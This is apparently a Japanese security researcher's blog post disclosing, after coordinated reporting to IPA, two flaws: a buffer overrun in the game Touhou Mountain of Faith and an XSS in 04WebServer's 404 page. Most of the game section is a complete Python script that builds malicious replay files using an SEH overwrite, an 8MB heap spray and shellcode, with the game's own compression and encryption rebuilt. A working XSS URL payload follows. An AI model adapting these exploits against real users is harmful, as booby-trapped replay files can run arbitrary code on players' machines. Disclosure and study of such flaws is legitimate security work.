「東方風神録 〜 Mountain of Faith.」と「04WebServer」の脆弱性

IPAに報告した「東方風神録 〜 Mountain of Faith.」と「04WebServer」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。私はこれらの情報の内容が真実であると確信していますし、開発者などの名誉を毀損する意図でこれらの情報を公開するわけではありません。

東方風神録 〜 Mountain of Faith.」のバッファーオーバーラン

東方風神録 〜 Mountain of Faith.

「東方文花帖 〜 Shoot the Bullet.」の脆弱性を見つけたときに、東方シリーズの他の作品も調べていた。最近の東方シリーズはコンパイラが変わったのかスタックがカナリアで保護されていて、バッファーオーバーランでの攻撃はできないと一旦は諦めていたが、SEHオーバーライトという手法によって攻撃できた。SEHオーバーライトはこのページが詳しい。下記のExploitでは、Heap sprayという手法によってWindows XPより後のOSでも攻撃が可能になっている。
この脆弱性はプレイヤー名表示の処理に存在する。長いプレイヤー名を詰め込むと、プレイヤー名と別のパラメタの位置が被り、その位置に0x00以外のバイトがあるとプレイヤー名表示の処理以前に落ちたりして、東方文花帖東方風神録以外の東方シリーズを攻撃することはできなかった。
ユーザーにできる対策は、信用できないリプレイデータを開かないこと。

Exploit

このzipファイルの中のreplayフォルダの中身全部を、東方風神録のreplayフォルダの中にコピーし、リプレイを再生しようとすると、メモ帳が起動する。既存のリプレイを上書きする必要があるので、避けておくこと。
生成スクリプト

# coding: utf-8

# 東方風神録 1.00a Exploit

from struct import pack
import array

# Shell code
# http://code.google.com/p/win-exec-calc-shellcode/
shell = ("31f656648b76308b760c8b761c8b6e08"
         "8b368b5d3c8b5c1d7801eb8b4b1867e3"
         "ec8b7b2001ef8b7c8ffc01ef31c09932"
         "1766c1ca01ae75f76681fa10f5e0e275"
         "cc8b532401ea0fb7144a8b7b1c01ef03"
         "2c97682e6578656863616c6354870424"
         "50ffd5"+
         "33c0"+            # xor eax,eax
         "33c9"+            # xor ecx,ecx
         "49"+              # dec ecx
         "648908"+          # mov fs:[eax],ecx
         "cc"               # int3
         ).decode("hex")

seh = 0x0c0c0c0c            # address of SEH handler
heap = 8*1024*1024          # size of nops

def main():
    d = ("\xff"*0xc
      + "\x33\xe9\xee\x4f"  # time
      + "\xff"*0x3d2
      + pack("<I",seh)      # SEH handler
      + "\x90"*heap         # nop
      + shell)              # shell code
    d = array.array("B",(ord(x) for x in d))
    print "compress"
    c = compress(d)
    print "encrypt 1"
    c = encrypt(c,0x3d,0x7a,0x80)
    print "encrypt 2"
    c = encrypt(c,0xaa,0xe1,0x400)
    t = ("t10r\x05\x00\x00\x00\x00\x00\x00\x00"+pack("<I",len(c)+0x24)+
         "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+pack("<I",len(c))+
         pack("<I",len(d))+
         "".join(chr(x) for x in c))
    for i in range(1,16+1):
        open("th10_%02d.rpy"%i,"wb").write(t)

def compress(d):
    class bitstream:
        def __init__(s):
            s.B = array.array("B")
            s.n = 0
        def addbit(s,b):
            if len(s.B)<=s.n/8:
                s.B.append(0)
            s.B[s.n/8] |= b<<(7-s.n%8)
            s.n += 1
        def add(s,d,l):
            for i in range(l)[::-1]:
                s.addbit(d>>i&1)
        def get(s):
            return s.B
    
    C = bitstream()
    i = 0
    while i<len(d):
        r = 0
        while i+r<len(d) and d[i+r]==d[i]:
            r += 1
        if r<19 or (i+1)%0x2000==0:
            C.addbit(1)
            C.add(d[i],8)
            i += 1
        else:
            C.addbit(1)
            C.add(d[i],8)
            for j in xrange((r-1)/18):
                C.addbit(0)
                C.add((i+1)%0x2000,13)
                C.add(15,4)
            i += 1+(r-1)/18*18
    C.addbit(0)
    C.add(0,13)
    return C.get()

def encrypt(d,k,kd,b):
    n = len(d)
    nd = n%b
    if nd>=b/4: nd=0
    if n%2!=0: nd+=1
    n -= nd
    
    r = d[:]
    bi = 0
    while bi<n:
        bs = min(b,n-bi)
        p = bi
        for i in range((bs+1)/2):
            r[p] = d[bi+bs-i*2-1]^(k&0xff); k+=kd; p+=1
        for i in range(bs/2):
            r[p] = d[bi+bs-i*2-2]^(k&0xff); k+=kd; p+=1
        bi += b
    return r

if __name__=="__main__":
    main()

NOPで埋めた8MBのセーブデータを16個読み込ませて、制御を0x0c0c0c0cに飛ばしている。まあ、だいたい0x0c0c0c0cにセーブデータのどれかが読み込まれているでしょう。

普通ならば電卓を起動したあとは、元のプログラムはどうなっても良いのだけど、SEHを上書きしたまま例外が発生すると、さらに電卓を起動する処理が走るので気をつけましょうw

04WebServer」のXSS

04WebServer
404ページにXSSが存在する。

http://localhost/hoge%3Cscript%3Ealert%28location%29%3C/script%3E

にアクセスすると、アラートが表示される。